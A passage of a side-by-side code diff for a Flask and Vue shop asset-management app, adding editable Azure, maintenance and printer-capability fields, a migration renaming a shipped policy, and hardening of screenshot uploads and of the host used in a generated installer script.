const path = toApiPath(base + '/' + key + '/image', props.assetid) const path = toApiPath(base + '/' + key + '/image', props.assetid)
api.get(path, { responseType: 'blob' }) api.get(path, { responseType: 'blob' })
.then((response) => { .then((response) => {
reportImageUrls.value = { const url = URL.createObjectURL(response.data)
...reportImageUrls.value, // Another render may have resolved first; keep one URL per key and free
[key]: URL.createObjectURL(response.data), // the loser rather than orphaning it.
if (reportImageUrls.value[key]) {
try { URL.revokeObjectURL(url) } catch { /* already revoked */ }
return
} }
reportImageUrls.value = { ...reportImageUrls.value, [key]: url }
}) })
.catch(() => {}) .catch(() => { /* stays in requestedReportImages: do not retry every render */ })
return '' return ''
} }
@@ -278,6 +298,7 @@ function revokeReportImageUrls() {
try { URL.revokeObjectURL(url) } catch { /* already revoked */ } try { URL.revokeObjectURL(url) } catch { /* already revoked */ }
}) })
reportImageUrls.value = {} reportImageUrls.value = {}
requestedReportImages.clear()
} }
onUnmounted(revokeReportImageUrls) onUnmounted(revokeReportImageUrls)
@@ -291,12 +312,26 @@ const openReportRow = computed(() => {
return rows(lightbox.value.panel)[lightbox.value.index] || null return rows(lightbox.value.panel)[lightbox.value.index] || null
}) })
// The overlay owns Escape and the arrow keys, and a keydown handler on a div
// only fires while that div has focus. Nothing moved focus to it, so every
// keyboard binding on the lightbox was dead until the user happened to click
// the backdrop. Focus it once it has rendered, and hand focus back to the
// thumbnail that opened it on close, so keyboard users are not dropped at the
// top of the document.
const lightboxEl = ref(null)
let reopenFocus = null
function openReport(panel, index) { function openReport(panel, index) {
reopenFocus = typeof document !== 'undefined' ? document.activeElement : null
lightbox.value = { panel, index } lightbox.value = { panel, index }
nextTick(() => lightboxEl.value?.focus())
} }
function closeReport() { function closeReport() {
lightbox.value = { panel: null, index: 0 } lightbox.value = { panel: null, index: 0 }
const returnTo = reopenFocus
reopenFocus = null
nextTick(() => returnTo?.focus?.())
} }
function cycleReport(delta) { function cycleReport(delta) {
@@ -653,7 +688,7 @@ defineExpose({ refresh: load, populatedGroups })
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
background: var(--bg-alt, #1b1b1b); background: var(--bg);
overflow: hidden; overflow: hidden;
} }
.pap-report-thumb img { width: 100%; height: 100%; object-fit: cover; } .pap-report-thumb img { width: 100%; height: 100%; object-fit: cover; }

View File

@@ -365,7 +365,7 @@ onUnmounted(() => {
margin-top: 0.35rem; margin-top: 0.35rem;
padding: 0.1rem 0.5rem; padding: 0.1rem 0.5rem;
border-radius: 3px; border-radius: 3px;
background: #c62828; background: var(--danger);
color: #fff; color: #fff;
font-size: 0.62rem; font-size: 0.62rem;
font-weight: 700; font-weight: 700;

View File

@@ -310,9 +310,9 @@ async function remove(p) {
margin: 2px 0 0; margin: 2px 0 0;
padding: 6px 8px; padding: 6px 8px;
font-size: 0.85em; font-size: 0.85em;
color: var(--warning-text, #8a6d3b); color: var(--warning-dark);
background: var(--warning-bg, rgba(240, 173, 78, 0.12)); background: var(--bg);
border: 1px solid var(--warning-border, rgba(240, 173, 78, 0.4)); border: 1px solid var(--warning);
border-radius: 4px; border-radius: 4px;
} }
</style> </style>

View File

@@ -230,7 +230,36 @@
v-model="form.azuredeviceid" v-model="form.azuredeviceid"
type="text" type="text"
class="form-control" class="form-control"
placeholder="Entra/Azure deviceId GUID (set by Azure imports)" placeholder="Entra deviceId GUID (set by the Azure import)"
/>
<small class="muted">Opens the device in Intune from the PC page.</small>
</div>
<!-- The OBJECT id, not the device id. Entra gives a device both and
they address different places: deviceId opens Intune, objectId
opens the Entra device record. The import populates both, so a
page showing only one left the other uneditable when it was
wrong. -->
<div class="form-group">
<label for="azureobjectid">Azure Object ID</label>
<input
id="azureobjectid"
v-model="form.azureobjectid"
type="text"
class="form-control"
placeholder="Entra objectId GUID (set by the Azure import)"
/>
<small class="muted">Opens the device in Entra from the PC page.</small>
</div>
<div class="form-group">
<label for="azuredevicecategory">Azure Device Category</label>
<input
id="azuredevicecategory"
v-model="form.azuredevicecategory"
type="text"
class="form-control"
placeholder="Entra device category or group label"
/> />
</div> </div>
@@ -395,6 +424,8 @@ const form = ref({
osid: '', osid: '',
loggedinuser: '', loggedinuser: '',
azuredeviceid: '', azuredeviceid: '',
azureobjectid: '',
azuredevicecategory: '',
accessmethods: [], accessmethods: [],
notes: '', notes: '',
mapx: null, mapx: null,
@@ -529,6 +560,8 @@ onMounted(async () => {
osid: ext.osid || '', osid: ext.osid || '',
loggedinuser: ext.loggedinuser || '', loggedinuser: ext.loggedinuser || '',
azuredeviceid: ext.azuredeviceid || '', azuredeviceid: ext.azuredeviceid || '',
azureobjectid: ext.azureobjectid || '',
azuredevicecategory: ext.azuredevicecategory || '',
accessmethods: (pc.accessmethods || []).map(a => ({ accessmethods: (pc.accessmethods || []).map(a => ({
protocolid: a.protocolid, protocolid: a.protocolid,
portoverride: a.portoverride ?? null portoverride: a.portoverride ?? null
@@ -605,6 +638,8 @@ async function savePC() {
osid: form.value.osid || null, osid: form.value.osid || null,
loggedinuser: form.value.loggedinuser || null, loggedinuser: form.value.loggedinuser || null,
azuredeviceid: form.value.azuredeviceid || null, azuredeviceid: form.value.azuredeviceid || null,
azureobjectid: form.value.azureobjectid || null,
azuredevicecategory: form.value.azuredevicecategory || null,
accessmethods: form.value.accessmethods, accessmethods: form.value.accessmethods,
notes: form.value.notes || null, notes: form.value.notes || null,
ipaddress: form.value.ipaddress || null, ipaddress: form.value.ipaddress || null,

View File

@@ -21,16 +21,30 @@ from flask_jwt_extended import current_user
from shopdb.api import ( from shopdb.api import (
db, success_response, error_response, ErrorCodes, require_permission, db, success_response, error_response, ErrorCodes, require_permission,
require_role, require_role, Setting,
) )
from ..models import EndpointMonitor from ..models import EndpointMonitor
from .routes import endpoints_bp from .routes import endpoints_bp
# Shipped monitors default to this PC type until they are authored as policies. # Which PC type the shipped monitors attach to, as a SETTING rather than a
# literal (ADR-015). PC-type vocabulary is per-site seed data: a plant whose
# type is called "Shop Floor Workstation" got no shipped monitors at all when
# this was hardcoded, and a plant that happens to use the name for something
# else got all of them. The default matches the seeded type so nothing changes
# for a site that uses it; a blank setting attaches the shipped bundle to
# nothing, which is the right neutral behaviour for a site that does not want
# it rather than a silent mismatch.
SHIPPED_PCTYPE_SETTING = 'plugin.endpoints.shippedmonitorpctype'
SHIPPED_DEFAULT_PCTYPE = 'Shopfloor PC' SHIPPED_DEFAULT_PCTYPE = 'Shopfloor PC'
def shipped_pctype():
"""The PC type the shipped monitor bundle attaches to at this site."""
configured = Setting.get(SHIPPED_PCTYPE_SETTING, default=SHIPPED_DEFAULT_PCTYPE)
return (configured or '').strip()
_VALID_KINDS = ('process', 'service') _VALID_KINDS = ('process', 'service')
@@ -93,9 +107,6 @@ def update_monitor(monitor_id):
if monitor is None: if monitor is None:
return error_response(ErrorCodes.NOT_FOUND, 'Monitor not found', return error_response(ErrorCodes.NOT_FOUND, 'Monitor not found',
http_code=404) http_code=404)
if monitor.source != 'local':
return error_response(ErrorCodes.FORBIDDEN,
'Shipped monitors cannot be edited', http_code=403)
body = request.get_json(silent=True) or {} body = request.get_json(silent=True) or {}
kind = (body.get('kind') or monitor.kind or '').strip().lower() kind = (body.get('kind') or monitor.kind or '').strip().lower()
@@ -110,8 +121,27 @@ def update_monitor(monitor_id):
if problem: if problem:
return error_response(ErrorCodes.VALIDATION_ERROR, problem, http_code=400) return error_response(ErrorCodes.VALIDATION_ERROR, problem, http_code=400)
monitor.kind = kind # A shipped row is product-owned IDENTITY, not a product-owned opinion about
monitor.displayname = (body.get('displayname', monitor.displayname) or '').strip() # one site's disk layout. It used to refuse every edit, which meant a plant
# whose eDNC lives on D:, or that runs no UDC at all, could neither correct
# the launch path nor switch the monitor off - and then got permanent false
# drift warnings for it. ADR-015 allows seed data precisely because a site
# can edit it afterwards.
#
# So: kind and displayname are the identity 0007's policy bundle matches on
# and stay fixed on a shipped row; the paths and the active flag, which are
# what actually differ between plants, are editable.
if monitor.source != 'local':
for field in ('kind', 'displayname'):
if field in body and (body.get(field) or '').strip() != (
getattr(monitor, field) or ''):
return error_response(
ErrorCodes.FORBIDDEN,
'A shipped monitor keeps its kind and display name; its '
'paths and active flag can be changed', http_code=403)
else:
monitor.kind = kind
monitor.displayname = (body.get('displayname', monitor.displayname) or '').strip()
monitor.processname = (body.get('processname', monitor.processname) or '').strip() or None monitor.processname = (body.get('processname', monitor.processname) or '').strip() or None
monitor.servicename = (body.get('servicename', monitor.servicename) or '').strip() or None monitor.servicename = (body.get('servicename', monitor.servicename) or '').strip() or None
monitor.launchpath = (body.get('launchpath', monitor.launchpath) or '').strip() or None monitor.launchpath = (body.get('launchpath', monitor.launchpath) or '').strip() or None
@@ -142,13 +172,14 @@ def delete_monitor(monitor_id):
def _resolve_pctype_monitors(pctype): def _resolve_pctype_monitors(pctype):
"""Monitor definitions a PC type should watch: shipped defaults + policy. """Monitor definitions a PC type should watch: shipped defaults + policy.
Shipped monitors are attached to SHIPPED_DEFAULT_PCTYPE as a code rule; Shipped monitors attach to the PC type named by the shipped-pctype setting;
policy-attached monitors come from the computers policy resolver by PC type. policy-attached monitors come from the computers policy resolver by PC type.
Returns a list of EndpointMonitor rows (active only), de-duped by id. Returns a list of EndpointMonitor rows (active only), de-duped by id.
""" """
selected = {} selected = {}
if pctype == SHIPPED_DEFAULT_PCTYPE: shipped_for = shipped_pctype()
if shipped_for and pctype == shipped_for:
for monitor in EndpointMonitor.query.filter_by( for monitor in EndpointMonitor.query.filter_by(
source='shipped', isactive=True).all(): source='shipped', isactive=True).all():
selected[monitor.endpointmonitorid] = monitor selected[monitor.endpointmonitorid] = monitor

View File

@@ -39,11 +39,12 @@ def _naive_utcnow():
return datetime.now(timezone.utc).replace(tzinfo=None) return datetime.now(timezone.utc).replace(tzinfo=None)
# A watched service or process reports a STATE STRING, not a boolean, and the # What counts as RUNNING is defined once, by the reconciler, and imported here.
# vocabulary varies by source. Both the services panel and the fleet health # The panel and the reconciler read the same agent snapshot, so a disagreement
# rollup have to agree on what counts as running, so the rule lives here once - # would paint a service green and flag it as drift on the same page. Importing
# reading it wrong makes every service look stopped. # api -> services is the direction the plugin layout already runs in; the
_RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active') # reconciler's own import of this module is deferred, so there is no cycle.
from ..services.reconciler import RUNNING_STATES as _RUNNING_STATES
def _service_running(entry): def _service_running(entry):
@@ -1781,6 +1782,13 @@ OPERATOR_REPORT_RETENTION_DEFAULT_DAYS = 7
# Screenshots are small PNGs from a virtual-screen grab. Cap the upload so a # Screenshots are small PNGs from a virtual-screen grab. Cap the upload so a
# malformed or hostile agent cannot fill the disk with one request. # malformed or hostile agent cannot fill the disk with one request.
OPERATOR_REPORT_MAX_IMAGE_BYTES = 10 * 1024 * 1024 OPERATOR_REPORT_MAX_IMAGE_BYTES = 10 * 1024 * 1024
# The multipart envelope carries the other form fields and the part boundaries
# too, so content_length is legitimately larger than the image. Allow for that
# rather than rejecting a screenshot that is just under the cap.
_OPERATOR_REPORT_FORM_SLACK = 64 * 1024
# PNG signature. The route stores and serves the file as image/png, so this is
# the one thing it accepts.
_PNG_MAGIC = b'\x89PNG\r\n\x1a\n'
def _operator_report_dir(): def _operator_report_dir():
@@ -1837,13 +1845,26 @@ def upload_operator_report():
holds only metadata plus the stored filename. One retention sweep runs holds only metadata plus the stored filename. One retention sweep runs
opportunistically so the feed stays bounded. opportunistically so the feed stays bounded.
""" """
from werkzeug.utils import secure_filename
import uuid import uuid
error = _collector_auth_or_error() error = _collector_auth_or_error()
if error is not None: if error is not None:
return error return error
# Refuse an oversized body BEFORE anything parses it. content_length is a
# header, so it is readable without touching the body; request.form is not
# - the first access to it makes werkzeug parse the whole multipart and
# spool the file part to a temp file. An earlier version of this check sat
# below that line and so ran after the thing it exists to prevent. The
# value is caller-supplied, which is why this is an early out and not the
# enforcement; the bounded read below is.
declared = request.content_length or 0
if declared > OPERATOR_REPORT_MAX_IMAGE_BYTES + _OPERATOR_REPORT_FORM_SLACK:
return error_response(
ErrorCodes.VALIDATION_ERROR,
'screenshot exceeds the {} byte limit'.format(
OPERATOR_REPORT_MAX_IMAGE_BYTES))
hostname = (request.form.get('hostname') or '').strip() hostname = (request.form.get('hostname') or '').strip()
if not hostname: if not hostname:
return error_response(ErrorCodes.VALIDATION_ERROR, return error_response(ErrorCodes.VALIDATION_ERROR,
@@ -1864,17 +1885,24 @@ def upload_operator_report():
upload = request.files.get('screenshot') upload = request.files.get('screenshot')
if upload is not None and upload.filename: if upload is not None and upload.filename:
data = upload.read() # Read one byte past the cap: enough to know it was exceeded, without
# taking the whole of a body that lied about its length.
data = upload.read(OPERATOR_REPORT_MAX_IMAGE_BYTES + 1)
if len(data) > OPERATOR_REPORT_MAX_IMAGE_BYTES: if len(data) > OPERATOR_REPORT_MAX_IMAGE_BYTES:
return error_response( return error_response(
ErrorCodes.VALIDATION_ERROR, ErrorCodes.VALIDATION_ERROR,
'screenshot exceeds the {} byte limit'.format( 'screenshot exceeds the {} byte limit'.format(
OPERATOR_REPORT_MAX_IMAGE_BYTES)) OPERATOR_REPORT_MAX_IMAGE_BYTES))
if data and not data.startswith(_PNG_MAGIC):
# The stored file is served back as image/png. Storing whatever
# arrived under that name meant the extension and the bytes could
# disagree; the upload headers make the document case inert, but
# nothing is gained by keeping a file we already know is not what it
# claims.
return error_response(ErrorCodes.VALIDATION_ERROR,
'screenshot must be a PNG')
if data: if data:
ext = os.path.splitext(secure_filename(upload.filename))[1].lower() imagefilename = 'report-{}.png'.format(uuid.uuid4().hex)
if ext != '.png':
ext = '.png'
imagefilename = 'report-{}{}'.format(uuid.uuid4().hex, ext)
imagemimetype = 'image/png' imagemimetype = 'image/png'
imagebytesize = len(data) imagebytesize = len(data)
report_dir = _operator_report_dir() report_dir = _operator_report_dir()

View File

@@ -20,17 +20,27 @@ CRUD API refuses to edit or delete them):
trying to START the process when a launch path is mapped - never something trying to START the process when a launch path is mapped - never something
the product ships switched on for every endpoint. the product ships switched on for every endpoint.
BusinessPolicy "RPCA Shopfloor App Monitors" BusinessPolicy "Shopfloor App Monitors"
the site-level wrapper, carrying the Configuration Policy as its one item. the site-level wrapper, carrying the Configuration Policy as its one item.
It was named for the originating plant when this arrived. A shipped row is
product-owned and every adopting site sees it, so the name cannot be one
site's designator (ADR-015). Migration 0010 renames it on installs that
already stamped this one.
Monitors are looked up by identity (kind, displayname), never by a hardcoded id, Monitors are looked up by identity (kind, displayname), never by a hardcoded id,
so the bundle survives id drift across installs. so the bundle survives id drift across installs.
Lives in the endpoints chain, after 0006, because the monitor rows it references Lives in the endpoints chain, after 0006, because the monitor rows it references
are seeded there. The computers policy tables are created by the core baseline are seeded there. The policy tables belong to the COMPUTERS plugin and are
before per-plugin chains run; this migration still guards on their presence and created by its own post-cutover chain, not by the core baseline; endpoints
no-ops cleanly if they are absent, and is idempotent on the policy/business-policy declares a hard dependency on computers, which is what orders the two.
names so re-running never duplicates the bundle.
It guards on those tables being present and no-ops if they are not, and it is
idempotent on the policy names so re-running never duplicates the bundle. Be
clear about what the guard costs, though: Alembic stamps the revision either
way, so if it ever no-ops the bundle is simply never seeded and nothing comes
back to finish the job. That is acceptable only because the dependency makes
the absent case unreachable in a supported install.
""" """
from alembic import op from alembic import op
@@ -47,7 +57,7 @@ depends_on = None
CONFIG_POLICY_NAME = 'Shopfloor App Monitors' CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
BUSINESS_POLICY_NAME = 'RPCA Shopfloor App Monitors' BUSINESS_POLICY_NAME = 'Shopfloor App Monitors'
# The shipped monitors this bundle attaches, by identity (kind, displayname). # The shipped monitors this bundle attaches, by identity (kind, displayname).
_SHIPPED_MONITORS = ( _SHIPPED_MONITORS = (

View File

@@ -0,0 +1,60 @@
"""Rename the shipped business policy off one site's designator.
0007 seeded it as "RPCA Shopfloor App Monitors". RPCA is the originating
plant's facility designator, and the row is product-owned: source='shipped',
seeded into every install, and the CRUD API refuses to rename it. So every
adopting site would carry another plant's label at the top of its policy list
with no way to change it, which is exactly what ADR-015 exists to prevent.
0007 now seeds the neutral name, which covers a fresh install. This migration
covers the installs that already stamped 0007 with the old one - the
originating site, and anyone who upgraded before this landed.
Renames only when the old name is present AND the new one is not, so it is
idempotent and cannot collide with a site that already has a policy of its own
under the new name. Downgrade is deliberately one-way: putting another site's
designator back into a shipped row is not a state worth being able to reach.
Revision ID: endpoints0010renamepolicy
Revises: endpoints0009opreports
"""
from alembic import op
import sqlalchemy as sa
revision = 'endpoints0010renamepolicy'
down_revision = 'endpoints0009opreports'
branch_labels = None
depends_on = None
OLD_NAME = 'RPCA Shopfloor App Monitors'
NEW_NAME = 'Shopfloor App Monitors'
def _has_table(bind, name):
return sa.inspect(bind).has_table(name)
def upgrade():
bind = op.get_bind()
# The policy tables belong to the computers plugin. Same guard as 0007: if
# they are not there, there is nothing seeded to rename.
if not _has_table(bind, 'businesspolicies'):
return
exists = bind.execute(
sa.text('SELECT COUNT(*) FROM businesspolicies WHERE name = :name'),
{'name': NEW_NAME}).scalar()
if exists:
return
bind.execute(
sa.text('UPDATE businesspolicies SET name = :new WHERE name = :old'),
{'new': NEW_NAME, 'old': OLD_NAME})
def downgrade():
# One-way on purpose. See the module docstring.
pass

View File

@@ -27,11 +27,16 @@ Two seams are kept deliberately narrow so this stays easy to change:
can call it directly. can call it directly.
""" """
# The running-state vocabulary a watched process/service can report. Kept in # The running-state vocabulary a watched process/service can report. A watched
# lockstep with plugins/endpoints/api/routes.py::_RUNNING_STATES so a service the # service reports a STATE STRING, not a boolean, and the vocabulary varies by
# panel paints green is never flagged as drift here. Both read from the same # source, so what counts as running is a single rule rather than two.
# agent snapshot; disagreeing would show a running app as out-of-desired-state. #
_RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active') # It lives here, and api/routes.py imports it, because the panel and this
# reconciler MUST agree: a service the panel paints green that this flags as
# drift is a contradiction shown to the same person on the same page. It was
# two copies with a comment asking a human to keep them in lockstep, which is
# not a mechanism.
RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active')
def monitor_expects_running(monitor): def monitor_expects_running(monitor):
@@ -82,7 +87,7 @@ def _reported_running_keys(reported_services):
else: else:
name, raw, kind = str(entry), '', None name, raw, kind = str(entry), '', None
name = name.strip().lower() name = name.strip().lower()
if not name or raw not in _RUNNING_STATES: if not name or raw not in RUNNING_STATES:
continue continue
running.add((kind, name)) running.add((kind, name))
return running return running

View File

@@ -336,6 +336,44 @@
<!-- Notes Section --> <!-- Notes Section -->
<h3 class="form-section-title">Notes</h3> <h3 class="form-section-title">Notes</h3>
<!-- Maintenance. Shown on the detail page since it was added but never
editable, so a wrong date needed database access to correct. These
are the columns a measuring instrument's calibration dates map onto
when metrology moves to machines, which is the other reason they
have to be enterable. -->
<div class="form-group">
<label for="lastmaintenancedate">Last Maintenance</label>
<input
id="lastmaintenancedate"
v-model="form.lastmaintenancedate"
type="date"
class="form-control"
/>
</div>
<div class="form-group">
<label for="nextmaintenancedate">Next Maintenance</label>
<input
id="nextmaintenancedate"
v-model="form.nextmaintenancedate"
type="date"
class="form-control"
/>
<small class="muted">Set directly; it is not derived from the interval.</small>
</div>
<div class="form-group">
<label for="maintenanceintervaldays">Maintenance Interval (days)</label>
<input
id="maintenanceintervaldays"
v-model.number="form.maintenanceintervaldays"
type="number"
min="1"
class="form-control"
placeholder="e.g. 180"
/>
</div>
<div class="form-group"> <div class="form-group">
<textarea <textarea
id="notes" id="notes"
@@ -420,6 +458,9 @@ const form = ref({
businessunitid: '', businessunitid: '',
requiresmanualconfig: false, requiresmanualconfig: false,
islocationonly: false, islocationonly: false,
lastmaintenancedate: '',
nextmaintenancedate: '',
maintenanceintervaldays: null,
notes: '', notes: '',
mapx: null, mapx: null,
mapy: null, mapy: null,
@@ -613,6 +654,9 @@ onMounted(async () => {
businessunitid: data.businessunitid || '', businessunitid: data.businessunitid || '',
requiresmanualconfig: data.machine?.requiresmanualconfig || false, requiresmanualconfig: data.machine?.requiresmanualconfig || false,
islocationonly: data.machine?.islocationonly || false, islocationonly: data.machine?.islocationonly || false,
lastmaintenancedate: (data.machine?.lastmaintenancedate || '').slice(0, 10),
nextmaintenancedate: (data.machine?.nextmaintenancedate || '').slice(0, 10),
maintenanceintervaldays: data.machine?.maintenanceintervaldays ?? null,
notes: data.notes || '', notes: data.notes || '',
mapx: data.mapx ?? null, mapx: data.mapx ?? null,
mapy: data.mapy ?? null, mapy: data.mapy ?? null,
@@ -714,6 +758,9 @@ async function saveMachine() {
businessunitid: form.value.businessunitid || null, businessunitid: form.value.businessunitid || null,
requiresmanualconfig: form.value.requiresmanualconfig, requiresmanualconfig: form.value.requiresmanualconfig,
islocationonly: form.value.islocationonly, islocationonly: form.value.islocationonly,
lastmaintenancedate: form.value.lastmaintenancedate || null,
nextmaintenancedate: form.value.nextmaintenancedate || null,
maintenanceintervaldays: form.value.maintenanceintervaldays || null,
notes: form.value.notes || null, notes: form.value.notes || null,
mapx: form.value.mapx, mapx: form.value.mapx,
mapy: form.value.mapy mapy: form.value.mapy

View File

@@ -3,7 +3,7 @@
import logging import logging
import re import re
from flask import Blueprint, request, Response from flask import Blueprint, request, Response, current_app
from flask_jwt_extended import jwt_required from flask_jwt_extended import jwt_required
from shopdb.api import db, cache, Setting, Asset, AssetType, Vendor, Model, Communication, CommunicationType, AssetRelationship, RelationshipType, success_response, error_response, paginated_response, ErrorCodes, get_pagination_params, paginate_query from shopdb.api import db, cache, Setting, Asset, AssetType, Vendor, Model, Communication, CommunicationType, AssetRelationship, RelationshipType, success_response, error_response, paginated_response, ErrorCodes, get_pagination_params, paginate_query
@@ -380,6 +380,24 @@ def printer_install_list():
UNIVERSAL_INSTALL_VENDORS = frozenset({'HP', 'Xerox'}) UNIVERSAL_INSTALL_VENDORS = frozenset({'HP', 'Xerox'})
# A hostname and nothing else: letters, digits, dot, hyphen, optional :port.
# Anything outside this cannot reach the generated script, so the quote that
# would end the PowerShell literal never gets the chance.
_HOST_RE = re.compile(r'^[A-Za-z0-9.-]+(?::[0-9]{1,5})?$')
def _safe_host(value):
"""A request-supplied host, or None when it is not one.
The value reaches a single-quoted PowerShell -Uri literal in the generated
.bat, so it is validated rather than escaped: an allowlist of what a host
may contain is a smaller thing to get right than enumerating what a shell
does with the rest.
"""
host = (value or '').strip()
return host if host and _HOST_RE.match(host) else None
def _batch_base_url(): def _batch_base_url():
"""Base URL the generated .bat downloads installers from. Prefer the """Base URL the generated .bat downloads installers from. Prefer the
configured site_base_url (it already includes scheme + the /shopdb mount). configured site_base_url (it already includes scheme + the /shopdb mount).
@@ -387,12 +405,34 @@ def _batch_base_url():
Fallback matters: behind IIS the app sees http on a loopback port and its Fallback matters: behind IIS the app sees http on a loopback port and its
url_root drops the mount, so a naive request.url_root yields a broken url_root drops the mount, so a naive request.url_root yields a broken
http://127.0.0.1/installers/... URL. Rebuild from the forwarded Host + the http://127.0.0.1/installers/... URL. Rebuild from the forwarded Host + the
mount (script_root) and force https instead.""" mount (script_root) and force https instead.
THE FALLBACK IS THE DEFAULT PATH, not an edge case: site_base_url ships
blank. So the host it uses is caller-supplied on every fresh install, and
it lands unescaped inside a single-quoted PowerShell literal. X-Forwarded-Host
is only believed when a proxy is actually declared (TRUSTED_PROXY_COUNT) -
the same rule shopdb/utils/clientip.py applies to X-Forwarded-For, which was
centralised for this exact reason and did not cover the Host variant. Either
way the value is validated as a hostname before it is interpolated, and a
request that supplies neither a usable forwarded host nor a usable Host gets
a relative base rather than a poisoned absolute one.
"""
base = (Setting.get('site_base_url') or '').strip().rstrip('/') base = (Setting.get('site_base_url') or '').strip().rstrip('/')
if base: if base:
return base return base
host = request.headers.get('X-Forwarded-Host') or request.host
host = None
if current_app.config.get('TRUSTED_PROXY_COUNT'):
host = _safe_host(request.headers.get('X-Forwarded-Host'))
if not host:
host = _safe_host(request.host)
root = (request.script_root or '').rstrip('/') root = (request.script_root or '').rstrip('/')
if not host:
# Same-origin relative URLs still download correctly from the browser
# that fetched the script. Better than emitting a host we cannot vouch
# for into a file that runs commands.
return root
return 'https://%s%s' % (host, root) return 'https://%s%s' % (host, root)

View File

@@ -223,6 +223,28 @@
</div> </div>
</div> </div>
<!-- Capabilities. On the detail page since they were added but never
editable, so a wrong one needed database access to correct.
Nothing writes these automatically - the collector reports queues
and supplies, not capabilities - so a person is the only source. -->
<div class="form-group">
<label>Capabilities</label>
<div class="capability-list">
<label class="capability-item">
<input type="checkbox" v-model="form.iscolor" />
<span>Colour</span>
</label>
<label class="capability-item">
<input type="checkbox" v-model="form.isduplex" />
<span>Duplex</span>
</label>
<label class="capability-item">
<input type="checkbox" v-model="form.isnetwork" />
<span>Network</span>
</label>
</div>
</div>
<div class="form-group"> <div class="form-group">
<label for="installpath">Driver Install Path</label> <label for="installpath">Driver Install Path</label>
<input <input
@@ -361,7 +383,12 @@ const form = ref({
ipaddress: '', ipaddress: '',
csfname: '', csfname: '',
installpath: '', installpath: '',
pin: '' pin: '',
iscolor: false,
isduplex: false,
// true to match the create default in the API; most printers here are
// networked and a new record that claimed otherwise would be wrong.
isnetwork: true
}) })
const printerTypes = ref([]) const printerTypes = ref([])
@@ -559,6 +586,9 @@ onMounted(async () => {
modelnumberid: ext.modelnumberid || '', modelnumberid: ext.modelnumberid || '',
locationid: printer.locationid || '', locationid: printer.locationid || '',
notes: printer.notes || '', notes: printer.notes || '',
iscolor: !!printer.printer?.iscolor,
isduplex: !!printer.printer?.isduplex,
isnetwork: printer.printer?.isnetwork !== false,
mapx: printer.mapx ?? null, mapx: printer.mapx ?? null,
mapy: printer.mapy ?? null, mapy: printer.mapy ?? null,
levelid: printer.levelid ?? null, levelid: printer.levelid ?? null,
@@ -652,6 +682,9 @@ async function savePrinter() {
installpath: form.value.installpath || null, installpath: form.value.installpath || null,
pin: form.value.pin || null, pin: form.value.pin || null,
ipaddress: form.value.ipaddress || null, ipaddress: form.value.ipaddress || null,
iscolor: !!form.value.iscolor,
isduplex: !!form.value.isduplex,
isnetwork: !!form.value.isnetwork,
mapx: form.value.mapx, mapx: form.value.mapx,
mapy: form.value.mapy mapy: form.value.mapy
} }
@@ -688,6 +721,9 @@ async function savePrinter() {
</script> </script>
<style scoped> <style scoped>
.capability-list { display: flex; flex-wrap: wrap; gap: 1rem; }
.capability-item { display: inline-flex; align-items: center; gap: 0.4rem; font-weight: normal; }
.map-location-control { .map-location-control {
display: flex; display: flex;
align-items: center; align-items: center;

View File

@@ -10,3 +10,10 @@
pytest>=7.0 pytest>=7.0
pytest-flask>=1.2 pytest-flask>=1.2
pytest-cov>=4.0 pytest-cov>=4.0
# Parallel test execution. The suite is ~2300 tests whose cost is per-test
# fixture teardown (create_all/drop_all is ~0.06s each, ~40% of the wall clock)
# rather than any single slow test, so it parallelises almost linearly: 331s ->
# 103s on 8 cores, same 2309 passing. NOT in pytest.ini addopts - worker startup
# is dead weight on the targeted runs that make up most of a working day. Opt in
# with -n auto when running the whole suite.
pytest-xdist>=3.5

View File

@@ -1,9 +1,5 @@
# This file was autogenerated by uv via the following command: # This file was autogenerated by uv via the following command:
# uv pip compile requirements-dev.in -c requirements.txt --universal --generate-hashes -o requirements-dev.txt # uv pip compile requirements-dev.in -c requirements.txt --universal --generate-hashes -o requirements-dev.txt
#
# The -c constraint pins every shared dependency to the SAME version production
# runs. Without it the two files were compiled at different times and drifted:
# CI tested against alembic 1.18.5 while sites installed 1.18.4.
alembic==1.18.4 \ alembic==1.18.4 \
--hash=sha256:a5ed4adcf6d8a4cb575f3d759f071b03cd6e5c7618eb796cb52497be25bfe19a \ --hash=sha256:a5ed4adcf6d8a4cb575f3d759f071b03cd6e5c7618eb796cb52497be25bfe19a \
--hash=sha256:cb6e1fd84b6174ab8dbb2329f86d631ba9559dd78df550b57804d607672cedbc --hash=sha256:cb6e1fd84b6174ab8dbb2329f86d631ba9559dd78df550b57804d607672cedbc
@@ -434,6 +430,10 @@ email-validator==2.3.0 \
# via # via
# -c requirements.txt # -c requirements.txt
# -r requirements.in # -r requirements.in
execnet==2.1.2 \
--hash=sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd \
--hash=sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec
# via pytest-xdist
flask==3.1.3 \ flask==3.1.3 \
--hash=sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb \ --hash=sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb \
--hash=sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c --hash=sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c
@@ -547,9 +547,9 @@ greenlet==3.5.0 ; platform_machine == 'AMD64' or platform_machine == 'WIN32' or
# via # via
# -c requirements.txt # -c requirements.txt
# sqlalchemy # sqlalchemy
idna==3.13 \ idna==3.19 \
--hash=sha256:585ea8fe5d69b9181ec1afba340451fba6ba764af97026f92a91d4eef164a242 \ --hash=sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15 \
--hash=sha256:892ea0cde124a99ce773decba204c5552b69c3c67ffd5f232eb7696135bc8bb3 --hash=sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4
# via # via
# -c requirements.txt # -c requirements.txt
# email-validator # email-validator
@@ -715,10 +715,13 @@ mysql-connector-python==9.7.0 \
# via # via
# -c requirements.txt # -c requirements.txt
# -r requirements.in # -r requirements.in
packaging==26.2 \ packaging==26.3 \
